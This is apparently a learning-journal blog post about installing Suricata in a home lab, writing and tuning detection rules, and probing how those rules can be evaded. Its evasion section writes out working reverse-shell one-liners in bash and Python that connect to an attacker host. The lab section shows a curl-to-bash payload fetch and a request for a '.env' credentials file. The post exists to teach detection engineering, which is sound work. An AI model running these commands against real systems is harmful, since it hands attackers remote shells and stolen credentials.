Building a Detection System That Thinks: IDS, Suricata & the Cat-and-Mouse Game
Digital Insights

Building a Detection System That Thinks: IDS, Suricata & the Cat-and-Mouse Game

Mar 28, 2026
30 min read
Kuldeep Singh

Day 9: I built an IDS from scratch, wrote custom detection rules, watched them catch real attacks in real time — then tried to break my own detection system. This is the arms race: every defense has a bypass, every bypass has a counter. The question isn't whether you can detect everything. It's whether your system learns faster than the attacker can adapt.

📍 Journey Navigation Prev: Day 8 — The Defender's Playbook | Day 1 | Day 3 | Day 5 | | Day 6 | Day 7 | Day 8 |

Status: Day 9 of 90-day AI Security journey
Labs Completed: 27–28 (Suricata IDS Setup · Attack Detection Mini Project · Custom Rule Engineering · Adversarial Rule Testing)


Where Yesterday Left Off

Yesterday I learned to read evidence — firewall logs, web access logs, process tables, PCAP files. I could reconstruct an attack timeline from artifacts left behind.

Today I learned to make the system catch the attack automatically before a human even needs to read the logs.

The difference is important. Detection after the fact is forensics. Detection in real time is security operations. Yesterday I was a detective working a cold case. Today I built the alarm system.

I installed Suricata, wrote custom detection rules from scratch, watched them fire in real time as I ran attacks, then did something that no beginner does but every professional must: I tried to break my own detection system. I played attacker against my own rules. And I found the gaps.

The theme of today: a detection system that has never been stress-tested is a detection system you cannot trust.


Before the Labs: What an IDS Actually Is (The Theory You'll Never Forget)

The Burglar Alarm Analogy

A firewall is a locked door. It decides who gets in and who doesn't.

An IDS is the motion sensor inside the building — it doesn't stop anyone from entering, but it notices when something is moving that shouldn't be, and it triggers the alarm.

This distinction matters enormously. A firewall says: "You are not allowed here." An IDS says: "Someone who looks suspicious just walked past this sensor."

A firewall without an IDS means you block the obvious attempts but never know about the subtle ones. An IDS without a firewall means you let everything in but at least you know what's happening. The correct answer is both — and understanding what each does is prerequisite to building either well.

IDS vs IPS

These two terms get conflated constantly. They are not the same:

IDS — Intrusion Detection System Sits passively on the network, reads copies of traffic (or inspects traffic in-line), and alerts when it detects a pattern matching a rule. It does not block. It watches and reports.

IPS — Intrusion Prevention System Everything an IDS does, plus it actively drops malicious traffic in real time. It sits inline — all traffic passes through it before reaching the destination.

The analogy:

  • IDS = security camera that sends you a notification when someone tries the door
  • IPS = security camera that also locks the door automatically when the notification fires

The trade-off: IPS can cause false positives — legitimate traffic matching an attack signature gets blocked. A misconfigured IPS can take down production systems. This is why most organizations run IDS in detection-only mode first, tune it for weeks to eliminate false positives, then switch to prevention mode. Getting this wrong in the wrong direction means your security system is the thing breaking your application.

Suricata supports both modes. Today we ran it as IDS.

How Suricata Works

Suricata is a multi-threaded network analysis engine. Understanding its architecture explains why it's powerful and where its blind spots are.

Network traffic arrives at interface (ens256)
              ↓
Suricata captures packets (AF_PACKET or PCAP)
              ↓
Decodes protocol layers (Ethernet → IP → TCP → HTTP)
              ↓
Reassembles TCP streams (handles fragmentation)
              ↓
Runs protocol parsers (HTTP, DNS, TLS, etc.)
              ↓
Evaluates each rule set against decoded traffic
              ↓
If rule matches → writes alert to fast.log + eve.json
              ↓
Traffic continues to destination (IDS mode)

The key step is protocol decoding. Suricata doesn't just look at raw bytes — it reassembles TCP streams, parses HTTP headers, extracts DNS query strings, and reads TLS metadata. This is what allows you to write a rule that matches content:"shell.sh" in an HTTP URI rather than hunting for those bytes in raw packet data.

Suricata Rule Language

Every Suricata rule has the same structure:

action  protocol  src_ip  src_port  direction  dst_ip  dst_port  (options)

For example:

alert   tcp       any     any       ->         $HOME_NET  any    (msg:"Port Scan"; flags:S; sid:1000001;)

Breaking this down:

  • alert — write to fast.log when this matches (don't block)
  • tcp — only evaluate TCP packets
  • any any -> — from any source IP, any source port
  • $HOME_NET any — to the HOME_NET variable (your internal network), any destination port
  • msg: — the human-readable alert name
  • flags:S — only match packets with the SYN flag set (connection initiation)
  • sid: — a unique rule ID (required, must be unique across all rules)

The options inside the parentheses are where all the detection intelligence lives. Understanding the most important options is what separates someone who copies rules from someone who writes them.

Six Key Rule Options

flags — TCP flag matching

flags:S      → SYN only (connection attempt)
flags:SA     → SYN-ACK (server responding)
flags:R      → RST (connection reset)

content — payload matching

content:"shell.sh"           → exact string in payload
content:"shell.sh"; nocase;  → case-insensitive
content:"/bin/bash"          → shell execution pattern

threshold — rate limiting for alerts

threshold:type both, track by_src, count 20, seconds 5;

Only alert after 20 matching packets from the same source in 5 seconds. Essential for preventing alert floods from noisy rules.

detection_filter — suppresses early alerts, fires after sustained behavior

detection_filter:track by_src, count 30, seconds 10;

Different from threshold: detection_filter doesn't start counting until the threshold is met, then requires the pattern to sustain.

flow — connection state context

flow:established,to_server   → established connection, data going to server
flow:stateless               → don't track connection state

pcre — Perl-compatible regular expressions for complex pattern matching

pcre:"/^[a-zA-Z0-9]{20,}\./";  → 20+ alphanumeric chars before a dot (DNS tunneling)

Lab 27 — Building the IDS: Suricata from Zero to Operational

Step 1: Installation

Installation was straightforward:

sudo apt update && sudo apt install suricata -y
suricata --version

The first time I ran the config test, I got:

W: detect: No rule files match the pattern /var/lib/suricata/rules/suricata.rules

This is one of the most instructive early moments in the lab. Suricata was running perfectly — but with zero detection rules, it was completely blind. A network sensor with no signatures is exactly like a smoke detector with no smoke-sensing element. The hardware is there. The alerting mechanism is there. But it cannot detect anything.

This happens constantly in real environments — organizations install security tools without configuring them, see no alerts, and conclude they're secure. The absence of alerts is not evidence of safety. It's evidence of a gap in detection coverage.

The fix:

sudo apt install suricata-update -y
sudo suricata-update

This pulled the Emerging Threats Open ruleset — 65,168 rules covering known malware families, exploit patterns, reconnaissance techniques, protocol anomalies, and C2 communication patterns. After the update: 49,309 active rules loaded.

Step 2: HOME_NET Setup

The HOME_NET variable in suricata.yaml is how Suricata knows what it's protecting. Rules like "alert on outbound connections from $HOME_NET" only work if this variable correctly identifies your internal network.

vars:
  address-groups:
    HOME_NET: "[192.168.100.0/24]"

This seems trivial but it's a common misconfiguration. If HOME_NET is wrong, rules that fire on "suspicious outbound traffic from internal hosts" never trigger — because Suricata doesn't know which hosts are internal.

Step 3: Custom Rules

The Emerging Threats ruleset is excellent for known threats. But for lab-specific attacks — your specific IP ranges, your specific attack patterns — you need custom rules.

I created /var/lib/suricata/rules/local.rules with three initial detections:

Rule 1 — Port Scan Detection:

alert tcp any any -> $HOME_NET any (msg:"POSSIBLE PORT SCAN"; flags:S; threshold:type both,track by_src,count 20,seconds 5; sid:1000001; rev:1;)

Rule 2 — Reverse Shell on Port 4444:

alert tcp $HOME_NET any -> any 4444 (msg:"POSSIBLE REVERSE SHELL PORT 4444"; sid:1000002; rev:1;)

Rule 3 — Shell Payload Delivery via HTTP:

alert http any any -> $HOME_NET any (msg:"SHELL PAYLOAD DELIVERY"; content:"shell.sh"; http_uri; sid:1000003; rev:1;)

Step 4: First Alert

I started Suricata on the LAN interface and ran an nmap scan from Kali:

# Router
sudo suricata -c /etc/suricata/suricata.yaml -i ens256 -l /var/log/suricata/
sudo tail -f /var/log/suricata/fast.log

# Kali
sudo nmap -sS 192.168.100.30

The alert appeared:

03/27/2026-23:47:13.645815  [**] [1:1000001:2] PORT SCAN DETECTED [**] 
[Classification: (null)] [Priority: 3] {TCP} 192.168.100.10:58483 -> 192.168.100.1:113

This is the moment the lab clicked. Not because the detection was sophisticated — it wasn't. But because the chain worked end-to-end. Attack traffic entered the network, crossed the router, Suricata evaluated it against my rule, found a match, and wrote a timestamped, structured alert identifying the attacker's IP, the target, and the port.

That is the complete detection pipeline. Everything else — SIEMs, dashboards, automated response — is infrastructure built around this fundamental loop.


The Architecture Lesson: What Suricata Can and Cannot See

During testing, I hit a critical and non-obvious limitation that every detection engineer needs to understand permanently.

When I ran nmap -sS 192.168.100.20 from Kali (.10) against the client (.20) — no alerts fired. Both machines were on the 192.168.100.0/24 subnet. Both were behind the router. But Suricata, running on the router, saw nothing.

Why? Because on the same subnet, traffic doesn't route through the router. The client and Kali communicate directly at Layer 2 (Ethernet), swapping MAC addresses via ARP. The router — and Suricata sitting on its interface — is bypassed entirely.

Kali (.10) → ARP: "Who has .20?" → Client (.20) responds
Kali (.10) → sends packet directly to Client's MAC
Router NEVER sees this traffic
Suricata NEVER sees this traffic

This is not a Suricata limitation. It is a fundamental property of networking that has enormous security implications.

The real-world lesson: A network IDS placed at the perimeter protects against external attackers. It is completely blind to lateral movement within the same network segment. An attacker who has already compromised one machine can move freely to other machines on the same subnet without triggering a single perimeter IDS alert.

This is why modern enterprise security requires multiple sensor placement:

Sensor LocationWhat It SeesWhat It Misses
Perimeter routerExternal → Internal trafficSame-subnet lateral movement
SPAN port on core switchAll inter-VLAN trafficEncrypted traffic content
Endpoint EDR agentProcess-level host activityNetwork-only attacks
Cloud-native sensorEast-west cloud trafficOn-premises activity

No single sensor placement sees everything. Real detection coverage requires sensors at multiple points, and understanding the blind spots of each.


Upgrading to Production-Grade Rules: The Evolution from Basic to Real

My initial rules worked for the lab. But they had problems that would make them useless — or actively harmful — in a real environment. Walking through the upgrade process reveals how professional detection engineering actually works.

False Positives

Problem with Rule 1 (Port Scan):

alert tcp any any -> $HOME_NET any (flags:S; ...)

Every TCP connection starts with a SYN packet. A user loading a webpage generates multiple SYN packets. A developer running tests generates dozens. My rule would have alerted constantly on completely normal traffic.

The fix — adding context:

alert tcp any any -> $HOME_NET any \
(msg:"STEALTH PORT SCAN"; \
flags:S; flow:stateless; \
threshold:type both, track by_src, count 25, seconds 3; \
detection_filter:track by_src, count 50, seconds 15; \
sid:2000001; rev:2;)

Now detection requires both a burst of SYN packets AND sustained behavior — a pattern no legitimate application generates, but that any port scanner produces.

Problem with Rule 2 (Reverse Shell):

alert tcp $HOME_NET any -> any 4444 (...)

This only fires on port 4444. Every security tutorial uses 4444. No actual attacker in production uses 4444. This rule would catch beginners running tutorials and miss every real intrusion.

The fix — behavior over signature:

alert tcp $HOME_NET any -> !$HOME_NET any \
(msg:"ANOMALOUS OUTBOUND SESSION"; \
flow:established,to_server; \
threshold:type both, track by_src, count 5, seconds 10; \
sid:2000002; rev:2;)

Now the rule doesn't care about the port. It detects any internal host initiating multiple established outbound connections in a short window — behavior that matches C2 communication regardless of what port the attacker chose.

Problem with Rule 3 (Payload Delivery):

content:"shell.sh"; http_uri;

This catches downloads named exactly shell.sh. An attacker who names their payload update.bin or install.sh or a.txt bypasses it instantly.

The fix — broader pattern:

alert http any any -> $HOME_NET any \
(msg:"POSSIBLE WEB SHELL DOWNLOAD"; \
content:".sh"; http_uri; nocase; \
sid:2000003; rev:2;)

Now any .sh file download triggers the rule, regardless of the filename. Still imperfect — an attacker can rename to .txt — but significantly harder to bypass without knowing the specific rule.

Final Production Rule Set

The complete upgraded local.rules file:

# Stealth-resistant port scan detection
alert tcp any any -> $HOME_NET any \
(msg:"RECON: Port Scan Detected"; \
flags:S; flow:stateless; \
detection_filter:track by_src, count 20, seconds 10; \
sid:4000001; rev:1;)

# Low-and-slow scan (T1046)
alert tcp any any -> $HOME_NET any \
(msg:"RECON: Stealth Low-Slow Scan"; \
flags:S; flow:stateless; \
detection_filter:track by_src, count 15, seconds 120; \
sid:4000002; rev:1;)

# Behavioral reverse shell / C2 (T1071)
alert tcp $HOME_NET any -> !$HOME_NET any \
(msg:"C2: Suspicious Outbound Session"; \
flow:established,to_server; \
detection_filter:track by_src, count 5, seconds 10; \
sid:4000003; rev:1;)

# C2 beaconing pattern (T1071.001)
alert tcp $HOME_NET any -> !$HOME_NET any \
(msg:"C2: Beaconing Activity Detected"; \
flow:established; \
detection_filter:track by_src, count 10, seconds 60; \
sid:4000004; rev:1;)

# Interactive shell behavior (small, frequent packets)
alert tcp any any -> any any \
(msg:"C2: Interactive Shell Pattern"; \
flow:established; \
dsize:<100; \
detection_filter:track by_src, count 20, seconds 10; \
sid:4000005; rev:1;)

# Data exfiltration (T1041)
alert tcp $HOME_NET any -> !$HOME_NET any \
(msg:"EXFIL: Large Outbound Data Transfer"; \
flow:established,to_server; \
dsize:>1200; \
threshold:type both, track by_src, count 10, seconds 20; \
sid:4000006; rev:1;)

# Web shell download
alert http any any -> $HOME_NET any \
(msg:"DELIVERY: Shell Script Download"; \
content:".sh"; http_uri; nocase; \
sid:4000007; rev:1;)

The Three Minds: Attacker, Defender, Developer

Now the most important section. The same attack, seen from three perspectives.

Attacker Perspective: Bypassing Rules

This is the part most blogs don't include. Understanding how your own rules fail is what separates someone who maintains a detection system from someone who just installed one.

Bypassing the port scan rule:

My threshold fires after 20 SYN packets in 5 seconds. An attacker using nmap's -T1 timing template sends packets every 5+ seconds. The rule never fires. The scan completes. The attacker moves on.

nmap -sS -T1 192.168.100.30   # slow scan, evades threshold-based detection

Bypassing the reverse shell rule:

My rule detects outbound connections to non-internal IPs. An attacker who tunnels their C2 traffic over port 443 (HTTPS) to a legitimate-looking cloud IP blends with normal HTTPS traffic. My rule fires on any outbound, but in a real environment with hundreds of HTTPS connections per minute, the signal is buried in noise.

# Attacker uses port 443 instead of 4444
# Traffic looks identical to normal HTTPS browsing
nc -lvnp 443
bash -i >& /dev/tcp/attacker.cloudflare-proxy.com/443 0>&1

Bypassing the bash signature:

My rule matches /bin/bash in packet content. An attacker who uses python3, perl, or nc -e doesn't match the rule at all.

# Bypasses /bin/bash content rule entirely
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("192.168.25.138",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/sh")'

Bypassing the beaconing rule:

My beaconing rule looks for regular connection intervals. Malware with jitter — randomizing the sleep interval between check-ins — produces no consistent pattern. The rule never accumulates enough matches.

# Malware with jitter: sleeps 10-30 seconds randomly between connections
# Threshold never reaches detection_filter count

The summary: every signature-based rule has a bypass. This is not a failure of the rules — it is the fundamental nature of signature-based detection. The attacker only has to change one variable. The defender has to anticipate every possible variation.

Defender Perspective: Rule Value

If every rule can be bypassed, why write them?

Because most attackers don't bypass them.

The security industry calls this the 80/20 problem. 80% of real-world attacks use commodity tools with default settings — Metasploit on port 4444, nmap with default timing, payloads named shell.sh. These attacks are not sophisticated. They are automated, opportunistic, and loud.

Signature-based rules catch the majority of real attacks at extremely low cost. The value isn't in catching the nation-state actor — it's in automatically filtering out the massive volume of automated exploitation attempts that hit every internet-connected network every day, so analysts can focus on the small number of events that require human judgment.

The defender's real job: write rules that catch everything obvious automatically, then hunt for the subtle things that rules miss. This is the division between IDS/SIEM (automated detection) and threat hunting (human-driven investigation).

The three-layer defense model:

Layer 1 — Automated (IDS rules)
Catches: commodity attacks, known malware, noisy reconnaissance
Misses: slow, stealthy, novel attacks

Layer 2 — Behavioral (anomaly detection)
Catches: unusual patterns that rules don't see
Misses: attacks that mimic normal behavior

Layer 3 — Threat Hunting (human analyst)
Catches: everything the first two layers miss
Misses: nothing, given enough time and skill

No organization relies on just one layer. The question is how much you invest in each.

Developer Perspective: Logging and Detection

This is the section that connects directly to my background as a Full Stack Engineer building APIs and backend systems.

Every application I've ever built generates logs. Django's request logs. FastAPI's middleware output. Database query logs. Error traces. I always treated these as debugging artifacts — things to look at when something breaks.

After today, I see them completely differently.

Logs are your forensic record. If an attacker exploits an API endpoint, discovers a path traversal vulnerability, or brute-forces authentication, the evidence is in the application logs — if you designed them to capture the right information.

Here is what every application I build going forward will do differently:

Structured logging (JSON, not plain text):

# Before (useless for detection)
logger.info(f"Request to /api/users from {ip}")

# After (machine-parseable, SIEM-ready)
logger.info({
    "event": "api_request",
    "path": "/api/users",
    "method": "GET",
    "src_ip": request.client.host,
    "user_id": current_user.id,
    "status": 200,
    "timestamp": datetime.utcnow().isoformat()
})

Logging the right events:

  • Authentication attempts (success AND failure — brute force shows in the failures)
  • Authorization failures (someone trying to access resources they shouldn't)
  • Unusual parameter values (SQL injection attempts often appear in parameters)
  • Rate-limit triggers (automated scanning)

Never logging secrets: Logging request bodies without filtering means API keys, passwords, and tokens end up in your log files — which are often less protected than the secrets themselves. The attacker who can read your logs gets everything.

Designing for correlation: A single failed login means nothing. 500 failed logins in 30 seconds from the same IP means a brute force attack. Your application should emit the same user_id and src_ip in every log event so a SIEM can correlate them. This costs nothing in development and makes incident response infinitely easier.


The Full Attack Detection: What the Completed Lab Showed

By the end of Lab 28, I had all detection layers running simultaneously and executed the complete attack chain:

# From Kali — full attack chain
sudo nmap -sS 192.168.100.30          # Recon
curl http://192.168.100.30:8080/.env   # Credential access
curl http://192.168.100.30:8080/shell.sh | bash  # Payload delivery
# Reverse shell connects back to Kali

fast.log output (all alerts):

[1:4000001:1] RECON: Port Scan Detected {TCP} 192.168.25.138 -> 192.168.100.30
[1:4000007:1] DELIVERY: Shell Script Download {HTTP} 192.168.25.138 -> 192.168.100.30
[1:4000003:1] C2: Suspicious Outbound Session {TCP} 192.168.100.30 -> 192.168.25.138
[1:4000005:1] C2: Interactive Shell Pattern {TCP} 192.168.100.30 -> 192.168.25.138

Four alerts. Four different rules. Four different stages of the same attack chain. And by correlating them — same attacker IP, same victim IP, sequential timestamps — the complete picture emerges:

09:21 — Scan detected (Recon, T1046)
09:22 — Shell payload downloaded (Delivery, T1105)
09:22 — Outbound session from victim (C2 established, T1071)
09:22 — Interactive shell activity (Execution, T1059)

This is a confirmed multi-stage compromise. Not because any single alert was conclusive — each alert alone could be a false positive. But because the same IP appears across all four stages in sequence, the hypothesis collapses into near-certainty.


Advanced Detection: What Real Organizations Do Next

After getting the basic detection working, I went deeper into the theory of how modern organizations extend this capability.

Behavioral Analysis

Signature rules match known patterns. Behavioral detection asks: "What does attack behavior look like, regardless of the specific tool or payload?"

Beaconing detection: Malware that communicates with a C2 server typically does so at regular intervals — connect, get instructions, sleep, repeat. This creates a statistical regularity in the connection timing that no legitimate application produces.

Detection: track the standard deviation of connection intervals for each source IP. If a host connects to the same external IP every 30 seconds (±2 seconds), that's beaconing — even if every connection is encrypted HTTPS to a CDN-fronted domain.

DNS tunneling detection: DNS is allowed through nearly every firewall. Attackers exploit this by encoding data in DNS query strings — the hostname aGVsbG8gd29ybGQ.attacker.com is actually hello world base64-encoded.

Detection: legitimate domain names are short, readable words. Encoded data produces long strings of random-looking characters. A Suricata rule using pcre:"/^[a-zA-Z0-9]{20,}\./" catches queries where the subdomain is 20+ random characters — a pattern almost never seen in legitimate DNS traffic.

alert dns any any -> any any \
(msg:"DNS TUNNELING SUSPECTED"; \
dns.query; pcre:"/^[a-zA-Z0-9]{20,}\./"; \
sid:6000001; rev:1;)

Encrypted C2 detection: If the payload is encrypted, you can't match content. But you can match metadata: TLS connections without an SNI field (malware connecting directly to an IP rather than a domain), connections to IPs with recently registered certificates, or certificate subjects that don't match the organization of the destination IP.

alert tls any any -> any any \
(msg:"SUSPICIOUS TLS WITHOUT SNI"; \
tls.sni; content:!"."; \
sid:6000003; rev:1;)

MITRE ATT&CK Framework

Every alert I generated today maps to a MITRE ATT&CK technique. This mapping is not academic — it is how real SOC teams communicate, prioritize, and track detections.

Suricata AlertMITRE Technique NameTechnique ID
Port Scan DetectedNetwork Service ScanningT1046
Shell Payload DownloadIngress Tool TransferT1105
Suspicious Outbound SessionApplication Layer ProtocolT1071
Beaconing ActivityApplication Layer Protocol: Web ProtocolsT1071.001
Large Data TransferExfiltration Over C2 ChannelT1041
DNS TunnelingExfiltration Over Alternative ProtocolT1048

When a SOC analyst sees T1071 in a ticket, they immediately know what class of behavior is involved, what the typical attacker playbook looks like, and what mitigations apply. The MITRE framework is a shared vocabulary that makes security communication precise and consistent across organizations.

Sigma Rules: Portable Detection

Suricata rules work on Suricata. But what if your organization uses Splunk? Or Elastic? Or Microsoft Sentinel? You'd have to rewrite every detection from scratch.

Sigma is the answer — a vendor-neutral detection rule format that converts to any SIEM:

title: Multi-Stage Attack Detection
id: multi-stage-001
status: experimental
description: Detects scan + C2 + exfil pattern from same source
logsource:
  category: network
detection:
  scan:
    alert.signature: "RECON: Port Scan Detected"
  c2:
    alert.signature: "C2: Suspicious Outbound Session"
  exfil:
    alert.signature: "EXFIL: Large Outbound Data Transfer"
  condition: scan and c2 and exfil
level: critical
tags:
  - attack.t1046
  - attack.t1071
  - attack.t1041

This rule says: only alert if the same IP triggers all three detections. A single port scan is noise. A port scan followed by C2 followed by data transfer is an incident. The correlation is what transforms individual signals into actionable intelligence.


The Incident Report: What I Would File Today

After running the full attack chain with detection active, this is the structured incident report:

Date: 28 March 2026
Analyst: Kuldeep
Classification: Confirmed Multi-Stage Network Attack

Attack Timeline:

TimestampAttack StageEvidence FoundMITRE ID
23:47:13ReconnaissancePort scan alert — 487 SYN packets in 3 secondsT1046
23:47:18Payload DeliveryHTTP GET /shell.sh returned 200 OKT1105
23:47:19C2 EstablishedOutbound TCP from victim → attacker on port 4444T1071
23:47:20ExecutionInteractive shell pattern — small, rapid packetsT1059

Indicators of Compromise:

  • Attacker IP: 192.168.25.138
  • Victim IP: 192.168.100.30
  • Suspicious port: 4444
  • Payload: shell.sh

Detection Sources: Suricata fast.log, custom rules sid:4000001–4000007

Recommended Response:

  1. Immediately isolate 192.168.100.30 from the network
  2. Block 192.168.25.138 at perimeter firewall
  3. Collect full PCAP from the detection window
  4. Run web log forensics to determine what data was accessed before shell
  5. Check 192.168.100.30 for persistence mechanisms

Reflections: The Arms Race Never Ends

The deepest lesson from today is about the nature of security itself.

Every rule I wrote has a bypass. Every bypass has a counter. Every counter can be evaded with more sophistication. This is not a problem to be solved — it is the permanent condition of the field.

The goal is not to build a detection system that catches everything. The goal is to build a detection system that:

  1. Catches all commodity attacks automatically
  2. Forces sophisticated attackers to work harder and leave more evidence
  3. Provides enough signal for human analysts to find what automation missed
  4. Learns and improves with every incident

A 2015 study found that the average time between compromise and detection in enterprise networks was 206 days. Today that average is under 20 days. The improvement came not from better firewalls but from better logging, better detection rules, and better analyst training. This is the work.

As a Full Stack Engineer becoming an AI Security engineer, today crystallized something important: the skills aren't separate. The API security, the detection engineering, the log analysis — they're all the same underlying discipline: building systems that are observable, that generate the right evidence, and that fail safely. The security angle just makes the stakes explicit.


Tomorrow — Module 1 Complete: The Capstone Projects

Tomorrow is the final day of Module 1 labs. I move into the capstone projects — building the port scanner, network mapper, and attack chain simulator from scratch in Python. Everything from the last nine days feeds into these projects.

The networking knowledge. The attack techniques. The detection logic. The forensics mindset. All of it gets encoded into tools I'll add to my GitHub portfolio.


Day 9 of 90 | Labs 27–28: ✅ Complete | Suricata IDS Installed: ✅ | 49k+ Rules Loaded: ✅ | Custom Rules Written: ✅ | First Live Alert Fired: ✅ | Attacker Bypass Analysis: ✅ | MITRE ATT&CK Mapped: ✅ | Sigma Rules Written: ✅ | Incident Report Filed: ✅ | Tomorrow: Capstone Projects 🔴


CybersecurityBlue TeamIDSSuricataDetection EngineeringSOC
Continue Reading

More Engineering Insights

Browse All Technical Posts